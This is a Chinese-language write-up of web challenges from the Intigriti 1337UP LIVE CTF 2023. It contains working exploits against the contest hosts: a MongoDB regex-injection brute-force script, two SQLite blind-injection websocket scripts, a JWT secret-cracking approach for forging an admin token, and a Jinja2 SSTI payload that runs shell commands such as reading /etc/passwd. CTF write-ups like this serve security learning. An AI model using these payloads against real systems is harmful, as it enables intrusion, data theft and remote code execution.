0%

1337_UP_LIVE_CTF 2023

CTFC

刷题的时候见到过这种题,其实就是注入+爆破嘛,但之前遇到的是sql注入的,这说明现在数据库类型见的不多

题目给了一个附件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
#app.py
from flask import Flask,render_template,request,session,redirect
import pymongo
import os
from functools import wraps
from datetime import timedelta
from hashlib import md5
from time import sleep

app = Flask(__name__)
app.secret_key = os.environ['SECRET_KEY']

# db settings
client = pymongo.MongoClient('localhost',27017)
db = client.ctfdb

def createChalls():
db.challs.insert_one({"_id": "28c8edde3d61a0411511d3b1866f0636","challenge_name": "Crack It","category": "hash","challenge_description": "My friend sent me this random string `cc4d73605e19217bf2269a08d22d8ae2` can you identify what it is? , flag format: CTFC{<password>}","challenge_flag": "CTFC{cryptocat}","points": "500","released": "True"})
db.challs.insert_one({"_id": "665f644e43731ff9db3d341da5c827e1","challenge_name": "MeoW sixty IV","category": "crypto","challenge_description": "hello everyoneeeeeeeee Q1RGQ3tuMHdfZzBfNF90aDNfcjM0TF9mbDRHfQ==, oops sorry my cat ran into my keyboard, and typed these random characters","challenge_flag": "CTFC{n0w_g0_4_th3_r34L_fl4G}","points": "1000","released": "True"})
db.challs.insert_one({"_id": "38026ed22fc1a91d92b5d2ef93540f20","challenge_name": "ImPAWSIBLE","category": "web","challenge_description": "well, this challenge is not fully created yet, but we have the flag for it","challenge_flag": os.environ['CHALL_FLAG'],"points": "1500","released": "False"})

# login check
def check_login(f):
@wraps(f)
def wrap(*args,**kwrags):
if 'user' in session:
return f(*args,**kwrags)
else:
return render_template('dashboard.html')
return wrap

# routes
from user import routes

@app.route('/')
@check_login
def dashboard():
challs = []
for data in db.challs.find():
del data['challenge_flag']
challs.append(data)
chall_1 = challs[0]
chall_2 = challs[1]
return render_template('t_dashboard.html',username=session['user']['username'],chall_1=chall_1,chall_2=chall_2)

@app.route('/register')
def register():
return render_template('register.html')

@app.route('/login')
def login():
return render_template('login.html')

@app.route('/logout')
def logout():
session.clear()
return redirect('/')

@app.route('/submit_flag',methods=['POST'])
@check_login
def submit_flag():
_id = request.json.get('_id')[-1]
submitted_flag = request.json.get('challenge_flag')
chall_details = db.challs.find_one(
{
"_id": md5(md5(str(_id).encode('utf-8')).hexdigest().encode('utf-8')).hexdigest(),
"challenge_flag":submitted_flag
}
)
if chall_details == None:
return "wrong flag!"
else:
return "correct flag!"

# wait untill mongodb start then create the challs in db
sleep(10)
createChalls()

能看出是MongoDB可以用$regex 进行正则匹配

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
import requests, string
from urllib3.exceptions import InsecureRequestWarning

requests.packages.urllib3.disable_warnings(category=InsecureRequestWarning)

headers = {
'Content-Type': 'application/json'
}

cookies = {
'session': 'eyJ1c2VyIjp7Il9pZCI6IjNhZDFlZGRlODNkMzRmMjhiZTMwMDdiYTIxOWQzZDUyIiwidXNlcm5hbWUiOiJhc2Rhc2QifX0.ZVoXtA.-obI_0v_QOu3KgulYZCyrYukpiM'
} #登录的session

flag = ''

while True:
for l in string.ascii_letters + string.digits + "_{}":
data = '{"_id":"_id:3","challenge_flag":{"$regex":"^' + flag + l + '.*"}}'
print(data)
data = requests.post('https://ctfc2.ctf.intigriti.io/submit_flag', data = data, headers = headers, cookies = cookies, verify=False)
print(data.text)
if 'correct flag!' in data.text:
flag += l
print(flag)
break
else:
print('Failed')
exit(1)

Bug Bank

有两种解法,预期解我也没看懂,非预期解就很简单了,通过转钱的功能转-100000000原账号就会减-100000000就会变成正的,就可以买flag了

预期解可以参考:

1
2
3
https://github.com/opabravo/security-writeups/blob/main/ctf/2023-11-17%20Intigriti%201337up%20CTF%202023.md

https://portswigger.net/research/hijacking-service-workers-via-dom-clobbering

Smarty Pants

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
#index.php
<?php
if(isset($_GET['source'])){
highlight_file(__FILE__);
die();
}

require('/var/www/vendor/smarty/smarty/libs/Smarty.class.php');
$smarty = new Smarty();
$smarty->setTemplateDir('/tmp/smarty/templates');
$smarty->setCompileDir('/tmp/smarty/templates_c');
$smarty->setCacheDir('/tmp/smarty/cache');
$smarty->setConfigDir('/tmp/smarty/configs');

$pattern = '/(\b)(on\S+)(\s*)=|javascript|<(|\/|[^\/>][^>]+|\/[^>][^>]+)>|({+.*}+)/';

if(!isset($_POST['data'])){
$smarty->assign('pattern', $pattern);
$smarty->display('index.tpl');
exit();
}

// returns true if data is malicious
function check_data($data){
global $pattern;
return preg_match($pattern,$data);
}

if(check_data($_POST['data'])){
$smarty->assign('pattern', $pattern);
$smarty->assign('error', 'Malicious Inputs Detected');
$smarty->display('index.tpl');
exit();
}

$tmpfname = tempnam("/tmp/smarty/templates", "FOO");
$handle = fopen($tmpfname, "w");
fwrite($handle, $_POST['data']);
fclose($handle);
$just_file = end(explode('/',$tmpfname));
$smarty->display($just_file);
unlink($tmpfname);

用换行符绕过即可

Bug Report Repo

首先是sql盲注,数据库是sqlite,自己写的脚本,效率不够,还是得靠sqlmap

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
import websocket
import string
import json
str=string.ascii_letters+string.digits+string.punctuation
ws = websocket.WebSocket()
ws.connect("wss://bountyrepo.ctf.intigriti.io/ws")
flag=''
for j in range(1,300):
aaa=False
for i in str:
# data={"id":f"11 and length(sqlite_version())={j}"}判断数据库长度
# data={"id":f"11 AND SUBSTR((SELECT COUNT(tbl_name) FROM sqlite_master WHERE type='table'),1,1)=CHAR({j})"}判断表长度
#data={"id":f"11 and substr((select group_concat(tbl_name) from sqlite_master where type='table' limit 0,1),{j},1)='{i}'"}
data = {"id": f"11 and substr((select group_concat(sql) from sqlite_master),{j},1)='{i}'"}
data=json.dumps(data)
#print(data)
ws.send(data)
a=ws.recv()
print(a)
if 'Bug report from ethical_hacker is Open' in a:
aaa=True
flag+=i
print(flag)
break
#continue
if aaa == False:
print("ok")
break

附一个别的师傅写的脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
import string
from websockets.sync.client import connect
import json

URL = 'bountyrepo.ctf.intigriti.io'
# ALPHABET = string.ascii_uppercase # string.ascii_letters + '{!_}'
ALPHABET = string.digits + '.'
PAYLOAD = "1 AND (select sqlite_version()) LIKE '{guess}%' -- -"

# flag = 'INTIGRITI'
flag = ''
with connect(f"wss://{URL}/ws") as websocket:
while True:
for c in ALPHABET:
payload = PAYLOAD.format(guess=flag + c)
print('\r>>>', payload, end='')
websocket.send(json.dumps({"id": payload}))
message = websocket.recv()
if 'Bug not found!' not in message:
flag += c
print()
print(flag)
break


'''
# PAYLOAD = "1 AND (SELECT group_concat(tbl_name) FROM sqlite_master WHERE type='table' and tbl_name NOT like 'sqlite_%') LIKE '{tables}%' -- -"
# tables = "bug_reports"
# PAYLOAD = "1 AND (SELECT GROUP_CONCAT(name) FROM PRAGMA_TABLE_INFO('bug_reports')) LIKE '{guess}%' --"
# columns = 'id,category,description,severity,cvss_score,status,reported_by,reported_date'
'''

爆出来的一条有用的东西

1
crypt0:c4tz on /4dm1n_z0n3, really?!

访问是一个登录页面,用给的用户名密码登录,他是得是admin,那就是jwt,但是不知道密钥啊,这个时候就用到了一个工具jwt-cracker爆破密钥,字典用rockyou,key是catsarethebest,伪造admin就ok了

Pizza Time

只有一处功能点….

1
sudo nmap -sVC -T4 -Pn -vv -p 443 pizzatime.ctf.intigriti.io

探测web服务,用的是ngnix,可以猜测是Flask/Django或者node

首先fuzz,可以看出除了&+的所有的特殊字符都被过滤了大括号也被过滤了,难道不是SSTI么?不!他就是SSTI,%0a可以绕过,具体原理是什么我得分析分析源码再写

payload:

1
x%0a{{lipsum.__globals__["os"].popen('cat+/etc/passwd').read()}}

但是这样会报500,将命令放进header里就可以绕过了

1
x%0a{{lipsum.__globals__["os"].popen(request.headers.get("X")).read()}}